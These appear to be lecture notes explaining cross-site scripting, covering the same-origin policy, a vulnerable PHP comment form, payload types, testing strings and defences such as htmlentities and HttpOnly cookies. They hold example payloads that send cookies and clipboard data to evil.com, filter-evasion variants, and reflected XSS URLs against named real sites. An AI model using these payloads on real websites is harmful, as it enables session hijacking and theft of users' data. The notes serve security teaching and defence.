Introduction
Cross site scripting (XSS) is one of the best known types of web attacks.
XSS results in the insertion of malicious (JavaScript) code into a web-page that the user
trusts.
The user unknowingly accesses the page and executes the script which could cause
credentials and cookies to be stolen, key logging, Denial of Service . . .
XSS is the most prevalent web-vulnerability, appearing in around 70% of all websites and
accounting for around 20% of Common Vulnerabilities and Exposures vulnerabilities.
JavaScript Security
A JavaScript program downloaded in the browser from a web-page executes in a Java-like
‘sand-box’ that limits the local system resources that it may access.
JavaScript’s same-origin security policy prevents scripts loaded from one origin (Web site)
from getting or setting properties of a document loaded from a different origin. This policy
prevents hostile code from one origin from taking over or manipulating documents from
another. More precisely, an origin is identified by domain, port and application protocol.
Without this policy, JavaScript from a hostile site could do any number of undesirable things
such as snoop keypresses while you’re logging in to a site in a different window, wait for you
to go to your online banking site and insert spurious transactions, steal login cookies from
other domains, etc.
Suppose that when Bob visits the website www.evil.com, the response includes the
JavaScript
<p><script>alert(’Code from Alice’);</script></p>
Bob’s browser executes the script as it obeys the same-origin policy.
Bob visits www.ucc.ie and a new browser window pops up (JavaScript also originates from
www.ucc.ie).
var w = window.open(http://www.ucc.ie);
// Wait a while, hoping they’ll start using the newly opened window.
// After 10 seconds, let’s try to see what URL they’re looking at!
var snoopedURL;
setTimeout("snoopedURL = w.location.href()", 10 * 1000);
Bob’s browser executes the script as it obeys the same-origin policy.
However, suppose that this script was loaded from www.evil.com, then the w.location.href
would fail/be blocked by the browser as it references a different document origin.
1
Many of the variables that can be accessed by a JavaScript program are relative to the
current document.
For example, the following script sends any cookies related to the current document to the
site www.evil.com.
<script>
document.location =
’http://www.evil.com/steal.php?cookies=’ +
document.cookie
</script>
If the page www.evil.com embedded this JavaScript then it will send any cookies related to
this document/website to itself.
If Alice’s web-site foo.bar embedded this JavaScript, then when Bob visits her site the
program sends his cookies to www.evil.com. In principle this is not an issue since its Alice’s
decision to include this code on her website and in visiting Alice’s web-page, Bob
presumably trusts Alice’s intentions....
XSS Example, the Vulnerability
Alice’s web application allows users to enter comments on a web-page. The following form
is used.
<form action="comment.php" method="post" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name ="comment" rows="10" cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
The application displays comments to other users who visit the page.
Suppose that the comment-viewing application (web-page) includes the following code to
output a single $comment and corresponding $name.
<? php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote>";
?>
XSS Example, Exploiting the Vulnerability
A malicious user of this application can embed any html within their name and comment
(request) and this html will form part of the application response to another user reading
the comments.
For example, Malicious Mike’s request includes:
2
$name=Mike
$comment=<p><script>alert(’Code from Alice’);</script></p>
When Bob reads Mike’s comment, the server response includes the HTML
Mike writes:<br />
<blockquote><p><script>alert(’Code from Alice’);</script></p>
</blockquote>
and a pop-up message appears on Bob’s screen! This is an example of a fairly benign attack.
However, suppose that malicious Mike makes a request to comment.php that includes (in
$comment)
<script>
document.location =
’http://evil.com/steal.php?cookies=’ +
document.cookie
</script>
Now, when Bob views Mike’s comment on Alice’s web site, Bob’s cookies (for Alice’s webapplication/site) are sent to evil.com.
This attack occurs because malicious Mike manages to embed his own malicious code in the
HTML response from Alice to Bob.
XSS Attack Payloads
The above example demonstrates cookie-stealing code as XSS payload (session hijacking).
Other kinds of payload include the following.
 Virtual Defacement that does not modify the underlying server-data but interferes
with the way that it is rendered on a web-page.
 Trojan Horse. Injected XSS code adds new functionality to web-site. For example,
asking the user for credit-card details, etc.
 Masquerading user. The JavaScript code performs some action (eg administrative) as
the user.
 JavaScript that directly attacks the user. For example, other applications may use the
clipboard but not clear it after use. Steal clipboard data with
’http://evil.com/steal.php?clip=’+window.clipboard.getData(’Text’); (of course, this
attack is not limited to just XSS)
Detecting XSS Vulnerabilities
A simple strategy for testing for XSS vulnerability is to use attack string:
"><script>alert(document.cookie)</script>
which should be submitted as every parameter to every page of an application and
responses monitored.
3
Some applications use simple blacklist filters that look for <script> strings within request
parameters and remove, encode or block the request.
They might not detect all possible configurations of a script call:
"><script>alert(document.cookie)</script>
"><ScRiPt> alert(document.cookie)</ScRiPt>
"%3e%3csript%3ealert(document.cookie)%3c/script%3e
...
Simply checking for <script>, etc., may be problematic if the response already includes
<script>: the attacker may be able to inject their own code within this response. For
example, the php code may include
echo "<script>var a=’$myParameter’; .... </script>"
and the attacker simply terminates the single quotation marks around $myParameter and
injects their own code into the request
$myParameter= ’ \’; alert(document.cookie); ’
and the resulting response looks like
<script>var a=’ ’; alert(document.cookie); .... </script>
Avoiding XSS
XSS occurs as a result of a poorly implemented Web-application not properly filtering and
cleaning its input/output data.
Avoid XSS by
 Disable scripting in the browser.
 Educate users.
 Validate input.
 Filter output.
 Encode properly.
Avoiding XSS in PHP
You should at least use htmlentities() to escape any data that you send to the client. This
function converts all special characters into their HTML entity equivalents. Any character
that the browser interprets in a special way is converted to its HTML entity so that its
original value is preserved.
$cleanName=htmlentities($name, ENT_QUOTES, ’UTF-8’);
$cleanComment=htmlentities($comment, ENT_QUOTES, ’UTF-8’);
echo "<p>$cleanName writes:<br />";
echo "<blockquote>$cleanComment</blockquote>";
This converts: & to &amp; ’’ (double quote) to &quot; ’ (single quote) to &#039; < (less than)
to &lt, and > (greater than) becomes &gt.
4
Use html entity decode() to retrieve original string, if needed.
Reflected XSS
The XSS attacks in the slides above are called persistent XSS attacks whereby attacker
manages to embed Javascript into your site’s database.
A reflective XSS attack occurs when the attacker embeds JavaScript into a link to your site
and tricks a user in to following it.
 http://www.facebook.com/srch.php?nm=xss%00<script>alert(’XSS’)</script>
 http://www.youtube.com/edit_playlist_info?p=’%22%3E%3Cscript%20src=ht
tp://ckers.org/s%3E
 http://groups.google.com/group/rec.sport.prowrestling/browse_thread/thread/1ab38554971acfc9’)&+eval(alert(document
.cookie))&+eval(’?tvc=2
 http://search.live.com/images/results.aspx?q=1&rst=21&FORM=PEIR"><scrip
t>alert(’securitylab.ru’)<script>
(All from http://xssed.com/)
Detecting XSS in the Browser
In principle, it is a good idea to disable scripts in the browser and use a plugin such as
NoScript to selectively enable scripts for ‘trusted sites’.
Simple reflective XSS attacks are relatively easy to detect in the browser.
For example, MS Internet Explorer8 and the Firefox plugin NoScript blocks reflective XSS
attacks.
Of course, these just provide defense in depth for the client and do not ‘protect’ the server.
Conclusions
A cross site scripting vulnerability provides an attacker with a way to bypass JavaScript’s
same-origin security policy.
You should filter and clean all input data to a web application and check that it is as
expected.
Web applications should also escape everything on output and only un-escape stuff that you
know is safe and that you know contains markup you want to execute.
Developer should test web-application for XSS by injecting attack strings (automated tools
available).
5
Browser controls provide useful defense-in-depth/additional check for users but do not
make the web-application any more secure.
Using HTTPOnly Header in HTTP Response
If the HttpOnly flag in the HTTP response header is set then the cookie cannot be accessed
through a client side script (if the browser supports this flag). As a result, even if a XSS flaw
exists, and a user accesses a link that exploits this flaw, the browser will not reveal the
cookie to a third party.
If a browser does not support HttpOnly and a website attempts to set anHttpOnly cookie,
the HttpOnly flag will be ignored by the browser, thus creating a traditional, script accessible
cookie.
This header can be set in PHP as default in php.ini using session.cookie httponly, or
programatically by setting parameter http-only to TRUE:
session_set_cookie_params(lifetime[,path][,domain][,secure][,http-only])
6